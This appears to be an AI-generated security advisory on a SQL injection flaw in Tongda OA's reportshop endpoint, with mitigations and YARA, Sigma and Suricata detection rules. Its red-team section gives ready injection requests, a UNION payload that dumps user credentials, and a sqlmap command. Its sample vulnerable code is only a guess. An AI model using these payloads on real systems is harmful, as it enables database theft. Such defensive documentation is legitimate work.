CVE-2024-10655

Executive Summary

CVE-2024-10655 is a critical SQL injection vulnerability discovered in Tongda OA 2017 up to version 11.9. The flaw resides in the /pda/reportshop/new.php file, where the repid parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available, making immediate mitigation measures essential.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a proprietary PHP-based application (Tongda OA) commonly deployed in enterprise environments, particularly in Asia. The lack of a patch and public exploit details places the supply chain at risk for organizations using this software.

CVSS Breakdown & Threat Level

The provided CVSS score is 0.0, which is likely a placeholder or error. Based on the vulnerability characteristics (remote, unauthenticated, SQL injection), a realistic CVSS v3.1 score would be 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Threat Level: Critical. Public exploit code exists, and no patch is available.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the repid parameter of the /pda/reportshop/new.php endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Example vulnerable code pattern (PHP):

$repid = $_GET['repid'];
$sql = "SELECT * FROM reports WHERE id = $repid";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL by providing input such as:

repid=1 UNION SELECT username,password FROM users--

This would return user credentials in the application's response. The injection can be used for:

• Data exfiltration: Dumping entire database tables.
• Authentication bypass: Manipulating login queries.
• Privilege escalation: Modifying user roles.
• Remote code execution (RCE): If the database user has file write permissions (e.g., INTO OUTFILE).

Vulnerable vs. Patched Code

Since no official patch is available, a secure implementation would use parameterized queries or prepared statements.

Vulnerable Code (PHP):

$repid = $_GET['repid'];
$sql = "SELECT * FROM reports WHERE id = $repid";
$result = mysqli_query($conn, $sql);

Patched Code (PHP - Parameterized Query):

$repid = $_GET['repid'];
$stmt = $conn->prepare("SELECT * FROM reports WHERE id = ?");
$stmt->bind_param("i", $repid);
$stmt->execute();
$result = $stmt->get_result();

Additional hardening:

• Input validation: Ensure repid is an integer.
• Web Application Firewall (WAF) rules to block SQL injection patterns.
• Principle of least privilege for database users.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Tongda OA 2017 instance (up to 11.9).
• Network access to the /pda/reportshop/new.php endpoint.
• SQLmap or manual exploitation tools.

Manual Exploitation:

1. Identify the vulnerable parameter:

   GET /pda/reportshop/new.php?repid=1 HTTP/1.1
   Host: target.com
   

2. Test for injection:

   GET /pda/reportshop/new.php?repid=1' HTTP/1.1
   

   If an error is returned, the parameter is injectable.
3. Extract database information:

   GET /pda/reportshop/new.php?repid=1 UNION SELECT 1,2,3,4,5-- HTTP/1.1
   

4. Dump tables:

   GET /pda/reportshop/new.php?repid=1 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- HTTP/1.1
   

Automated Exploitation with SQLmap:

sqlmap -u "http://target.com/pda/reportshop/new.php?repid=1" --batch --dbs

Expected Output:

• Database names, tables, and user credentials.
• Potential for OS shell if database user has file privileges.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /pda/reportshop/new.php for abnormal repid values (e.g., containing SQL keywords like UNION, SELECT, OR, AND).
• Alert on database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake Tongda OA instance and log all requests to /pda/reportshop/new.php.
• Analyze attacker behavior and update detection rules.

Containment:

• Immediately block access to /pda/reportshop/new.php via reverse proxy or firewall.
• If possible, disable the vulnerable module until a patch is applied.
• Review database logs for unauthorized queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pda/reportshop/new.php with repid parameter containing SQL keywords (e.g., UNION, SELECT, OR 1=1).
• Unusual database error messages in HTTP responses (e.g., SQLSTATE[42000]).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Suspicious entries in web server logs (e.g., access.log with SQL injection patterns).

System IOCs:

• Unexpected database users or privileges.
• Unusual database queries (e.g., SELECT * FROM mysql.user).
• New cron jobs or scheduled tasks for persistence.

Detection Engineering

YARA Rule

rule CVE_2024_10655_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10655 in Tongda OA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10655"
    strings:
        $s1 = "/pda/reportshop/new.php" ascii nocase
        $s2 = "repid=" ascii nocase
        $sqli1 = "UNION" ascii nocase
        $sqli2 = "SELECT" ascii nocase
        $sqli3 = "OR " ascii nocase
        $sqli4 = "AND " ascii nocase
        $sqli5 = "1=1" ascii nocase
        $sqli6 = "'" ascii
    condition:
        $s1 and $s2 and 2 of ($sqli*)
}

Sigma Rule

title: CVE-2024-10655 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Tongda OA /pda/reportshop/new.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10655
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "/pda/reportshop/new.php"
            - "repid="
    keywords:
        - "UNION"
        - "SELECT"
        - "OR "
        - "AND "
        - "1=1"
        - "'"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "union" in a report ID (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10655 SQL Injection Attempt"; flow:to_server,established; content:"/pda/reportshop/new.php"; http_uri; content:"repid="; http_uri; pcre:"/(UNION|SELECT|OR\s|AND\s|1=1|%27)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block the vulnerable endpoint: Use a reverse proxy or WAF to block access to /pda/reportshop/new.php.
2. Input validation: If source code access is available, implement strict integer validation for the repid parameter.
3. Database hardening: Ensure the database user used by the application has minimal privileges (e.g., no FILE or CREATE privileges).

Long-term Fix:

• Apply parameterized queries or prepared statements in the application code.
• Upgrade to a patched version of Tongda OA when available.
• Conduct a full security audit of the application.

Workaround:

• If patching is not possible, consider migrating to a different OA solution.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.